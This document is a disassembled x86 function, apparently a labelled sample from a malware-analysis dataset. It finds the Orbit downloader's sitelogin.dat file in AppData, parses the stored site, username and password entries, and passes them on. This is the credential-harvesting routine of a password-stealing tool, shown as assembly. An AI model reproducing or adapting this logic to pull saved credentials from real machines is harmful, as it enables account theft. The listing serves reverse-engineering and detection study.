Function at 0x41ac2f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3ab0
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, str.sitelogin.dat
lea edi, [ebp - 0x14]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00631510
pop ecx
xor ecx, ecx
cmp eax, 1
jae 0x41aca0
lea eax, [ebp - 0x139c]
push eax
push ecx
push ecx
push 0x1a
push ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41ac93
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.PerformOrbitPasswordRecovery
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
jmp 0x41ad13
mov eax, str._sOrbit_s
lea ebx, [ebp - 0x139c]
jmp 0x41aca5
mov eax, 0x66c218
lea ecx, [ebp - 0x14]
push ecx
push ebx
push eax
lea eax, [ebp - 0xfb4]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0xfb4]
mov edi, str.PerformOrbitPasswordRecovery
push eax
push edi
push str._s_Final_orbit_password_file_path_is__s
call fcn.00449974
push 0x66ca20
lea eax, [ebp - 0xfb4]
xor ebx, ebx
push eax
lea eax, [ebp - 0x3ab0]
mov dword [ebp - 0x3ab0], ebx
push eax
call fcn.00632119
add esp, 0x2c
test eax, eax
jne 0x41ad06
cmp dword [ebp - 0x3ab0], ebx
jne 0x41add1
lea eax, [ebp - 0xfb4]
push eax
push edi
push str._s_Unable_to_find_orbit_password_file_:__s
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
lea eax, [ebp - 0x3aac]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x41ad5d
lea eax, [ebp - 0x3aac]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, 0x1388
jae 0x41af86
mov byte [ebp + eax - 0x3aac], bl
lea eax, [ebp - 0x3aac]
push eax
lea eax, [ebp - 0x2724]
push 0x1388
push eax
call fcn.006311ec
lea eax, [ebp - 0x2724]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x2724]
push eax
call fcn.00631711
push str._site
call fcn.00631510
push eax
lea eax, [ebp - 0x2724]
push str._site
push eax
call fcn.006317d8
add esp, 0x28
test eax, eax
jne 0x41add8
push edi
push str._s_____Got_new_account...
call fcn.00449974
pop ecx
pop ecx
mov byte [ebp - 0xbcc], bl
mov byte [ebp - 0x7e4], bl
mov byte [ebp - 0x3fc], bl
mov esi, ebx
jmp 0x41af50
mov eax, esi
sub eax, ebx
je 0x41af03
sub eax, 1
je 0x41aeb4
sub eax, 1
jne 0x41af50
push str.password
call fcn.00631510
push eax
lea eax, [ebp - 0x2724]
push str.password
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x41af50
push str.password
call fcn.00631510
lea ecx, [ebp - 0x3aac]
add eax, ecx
push eax
lea eax, [ebp - 0x3fc]
push 0x3e8
push eax
call fcn.006311ec
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0xbcc]
push eax
push edi
push str._s___Found__account____s__user__s__pass__s
call fcn.00449974
lea eax, [ebp - 0x3fc]
push eax
call fcn.00631510
add esp, 0x28
test eax, eax
je 0x41add1
lea eax, [ebp - 0x3fc]
push eax
call fcn.0040c9e4
push 0xffffffffffffffff
mov ecx, 0x66ae5d
lea eax, [ebp - 0x3fc]
push ecx
push eax
lea eax, [ebp - 0x7e4]
push eax
lea eax, [ebp - 0xbcc]
push eax
push ecx
push 0x89
push 5
call fcn.00412c85
add esp, 0x24
jmp 0x41add1
push str.username
call fcn.00631510
push eax
lea eax, [ebp - 0x2724]
push str.username
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x41af50
push str.username
call fcn.00631510
lea ecx, [ebp - 0x3aac]
add eax, ecx
push eax
lea eax, [ebp - 0x7e4]
push 0x3e8
push eax
call fcn.006311ec
add esp, 0x10
push 2
pop esi
jmp 0x41af50
push str.site
call fcn.00631510
push eax
lea eax, [ebp - 0x2724]
push str.site
push eax
call fcn.006317d8
add esp, 0x10
test eax, eax
jne 0x41af50
push str.site
call fcn.00631510
lea ecx, [ebp - 0x2724]
add eax, ecx
push eax
lea eax, [ebp - 0xbcc]
push 0x3e8
push eax
call fcn.006311ec
xor esi, esi
add esp, 0x10
inc esi
push dword [ebp - 0x3ab0]
lea eax, [ebp - 0x3aac]
push 0x1388
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
jne 0x41ad2c
push dword [ebp - 0x3ab0]
call fcn.00637603
xor eax, eax
pop ecx
inc eax
jmp 0x41ad1d
call fcn.005fe87a
int3